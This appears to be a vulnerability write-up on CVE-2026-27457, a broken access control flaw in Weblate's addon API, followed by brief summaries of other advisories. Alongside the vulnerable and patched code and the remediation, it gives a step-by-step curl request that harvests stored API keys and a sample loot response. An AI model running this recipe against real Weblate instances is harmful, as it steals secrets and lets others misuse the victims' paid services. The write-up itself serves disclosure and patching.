Feb 26, 2026·5 min read·34 visits
A broken access control vulnerability in Weblate's API allowed low-privileged users to list all system addons. This exposed sensitive configuration data, including API keys for translation services and repository credentials. Fixed in version 5.16.1.
In the world of automated localization, Weblate is a heavyweight champion, managing translations for thousands of open-source and commercial projects. However, a lapse in access control logic within its REST API turned the platform into an open book. CVE-2026-27457 identifies a critical Missing Authorization vulnerability where the `AddonViewSet` endpoint failed to filter results based on user permissions. This oversight allowed any authenticated user—and in some configurations, anonymous users—to query the full configuration of installed addons. Because these addons often handle integrations with third-party services like DeepL, OpenAI, or git repositories, the leakage included high-value secrets: API keys, authentication tokens, and webhook URLs. It is a classic case of 'default to open' in Django REST Framework usage.
Localization tools are often overlooked by security teams. They sit quietly in the CI/CD pipeline, taking strings in English and spitting them out in French, German, or Klingon. But tools like Weblate are not just dictionaries; they are integration hubs. To automate translations, Weblate connects to everything: Git repositories, machine translation providers (DeepL, Google Translate), and AI models (OpenAI, Anthropic).
To make these connections work, Weblate uses "Addons." These are modular components that need configuration. And what does configuration require? Secrets. API keys, personal access tokens, and webhook signing secrets.
CVE-2026-27457 isn't about memory corruption or complex buffer overflows. It's about a simple question: If I ask the API for a list of all these addons, should it give them to me? The answer should be "only if you own them." The answer Weblate gave was "Sure, here's everything."
The vulnerability lies deep within the Django REST Framework (DRF) implementation in weblate/api/views.py. DRF is a powerful toolkit, but it has a massive foot-gun: if you define a queryset but don't explicitly filter it based on the request context, it defaults to returning every record in the table.
The developers defined the AddonViewSet with a fatal simplicity:
class AddonViewSet(viewsets.ModelViewSet):
queryset = Addon.objects.all()
# ... serialization logic ...That line—queryset = Addon.objects.all()—is the smoking gun. When a user hits GET /api/addons/, DRF looks at the queryset, sees all(), and serializes the entire database table of addons.
While Weblate had a perm_check method, it was primarily effective for write operations (POST, PUT, DELETE). The read operations (GET) fell through to the default behavior. It's the digital equivalent of locking the front door (write access) but leaving the back wall completely missing (read access).
The fix required two attempts to get right, highlighting how tricky permission scoping can be. The initial patch (Commit 3f58f9a4152bc0cbdd6eff5954f9c7bc4d9f0af9) moved from a static queryset to a dynamic one.
The Vulnerable Code (Simplified):
class AddonViewSet(WebletViewSet):
queryset = Addon.objects.all() # <--- The root of all evil
serializer_class = AddonSerializerThe Fix (Commit 3f58f9a4 + 7802c9b1):
class AddonViewSet(WebletViewSet):
# Default to nothing to be safe
queryset = Addon.objects.none()
def get_queryset(self):
# Dynamically filter based on user privileges
if self.request.user.is_superuser:
return Addon.objects.all()
# Restrict to projects the user actually manages
return Addon.objects.filter(
component__project__in=self.request.user.managed_projects
)Notice the shift from allowed_projects to managed_projects in the final polish. Originally, they restricted it to projects a user could access. But a translator shouldn't see the API keys just because they can translate a string. The final fix tightened this to project administrators (managed_projects) only.
They also changed the error behavior. Accessing an ID you don't own used to return 403 Forbidden (which confirms existence). Now it returns 404 Not Found, preventing enumeration attacks.
Exploiting this is trivially easy. You don't need Metasploit; you need curl. The attack assumes you have a low-privileged account on the Weblate instance. If the instance has REQUIRE_LOGIN = False, you don't even need that.
Step 1: Authenticate (Optional) Grab your API token from your user profile.
Step 2: The Harvest
curl -H "Authorization: Token <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
https://weblate.target.corp/api/addons/ | jqStep 3: Parse the Loot
The response will be a JSON array containing every addon configuration. You are looking for fields like configuration.
{
"count": 5,
"results": [
{
"id": 42,
"name": "weblate.addons.machine.deepl",
"configuration": {
"api_key": "sk-decafbad-1234-5678-secret-key",
"url": "https://api-free.deepl.com"
},
"component": "marketing/website"
}
]
}Just like that, you have the organization's paid DeepL API key. If they use the OpenAI addon for context improvement, you now have their OpenAI key. You can now use their quota to generate poetry or fine-tune your own models on their dime.
The CVSS score is 4.3 (Medium). This is technically accurate based on the calculator (Confidentiality: Low), but practically absurd. The scoring assumes that the data exposed is "limited."
Let's be real: Exposed API keys are rarely "low impact."
Don't let the "Medium" label fool you. In a production environment with paid integrations, this is a Critical leak.
The remediation is straightforward: Update to Weblate 5.16.1.
The patch introduces strict filtering. If you are a translator for the "Mobile App" project, querying /api/addons/ will now return an empty list or only the addons specifically attached to that project (and only if you are a manager).
If you cannot update immediately:
You must block the specific endpoint at your reverse proxy (Nginx/Apache/HAProxy).
Nginx Example:
location ~ ^/api/addons/ {
deny all;
return 403;
}This will break functionality for managing addons via the API, but it stops the data bleeding until you can patch. Also, rotate any API keys that were stored in Weblate prior to the patch. Assume they have been read.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Weblate WeblateOrg | < 5.16.1 | 5.16.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-862 (Missing Authorization) |
| CVSS v3.1 | 4.3 (Medium) |
| Attack Vector | Network |
| Privileges Required | Low (Authenticated) |
| Impact | Information Disclosure (Sensitive API Keys) |
| Patch Commit | 3f58f9a4152bc0cbdd6eff5954f9c7bc4d9f0af9 |
netfoil, an allowlist-based DNS proxy, failed to sanitize ALPN fields parsed from untrusted DNS-over-HTTPS (DoH) HTTPS Resource Records. This allowed attackers to inject ANSI escape sequences into log files or trigger Denial of Service (DoS) via uncontrolled memory allocations.
An issue was discovered in the tokio-postgres library for Rust prior to version 0.7.18. A trust assumption mismatch between the PostgreSQL protocol messages sent by a server and how they are parsed and indexed by the client-side library allows a rogue or compromised database server to trigger a Denial of Service (DoS) crash via an unhandled out-of-bounds slice indexing panic.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.